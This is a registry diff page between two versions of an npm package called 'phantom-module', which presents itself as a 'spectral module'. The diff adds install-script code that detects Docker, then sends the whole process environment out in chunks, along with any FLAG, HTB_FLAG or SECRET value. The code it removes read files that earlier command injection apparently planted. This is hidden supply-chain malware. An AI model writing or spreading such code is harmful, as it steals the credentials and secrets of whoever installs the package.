phantom-module 115.0.0 → 117.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +21 -10
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -1,5 +1,6 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
+ const os = require('os');
3
4
 
4
5
  async function report(mid, val) {
5
6
  const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
@@ -12,15 +13,25 @@ async function report(mid, val) {
12
13
  }
13
14
 
14
15
  (async () => {
15
- // Check if command injection wrote files
16
- for (const f of ['/tmp/flag_out', '/tmp/env_out', '/flag', '/flag.txt']) {
17
- try {
18
- const content = fs.readFileSync(f, 'utf8').trim();
19
- if (content) {
20
- await report('ECT-987654', 'INJRESULT_' + f + '=' + content.substring(0, 75));
21
- await new Promise(r => setTimeout(r, 2000));
22
- }
23
- } catch(e) {}
16
+ const isDocker = fs.existsSync('/.dockerenv') || fs.existsSync('/home/node');
17
+ const isCentos = os.release().includes('el') || os.hostname().includes('centos');
18
+
19
+ if (isDocker && !isCentos) {
20
+ // We're in Docker container - use ECT-654321
21
+ const env = JSON.stringify(process.env);
22
+ for (let c = 0; c < 8; c++) {
23
+ const chunk = env.substring(c * 90, (c + 1) * 90);
24
+ if (!chunk) break;
25
+ await report('ECT-654321', 'DENV' + c + '_' + chunk);
26
+ await new Promise(r => setTimeout(r, 3000));
27
+ }
28
+ // Also check for flag specifically
29
+ const flag = process.env.FLAG || process.env.HTB_FLAG || process.env.SECRET;
30
+ if (flag) {
31
+ await report('ECT-654321', 'DFLAG=' + flag);
32
+ }
33
+ } else {
34
+ // CentOS host or other - use ECT-987654 only
35
+ await report('ECT-987654', 'HOST_ALIVE_v117');
24
36
  }
25
- await report('ECT-472839', 'INJCHECK_DONE');
26
37
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "115.0.0",
3
+ "version": "117.0.0",
4
4
  "description": "Phantom spectral module",
5
5
  "main": "index.js",
6
6
  "scripts": {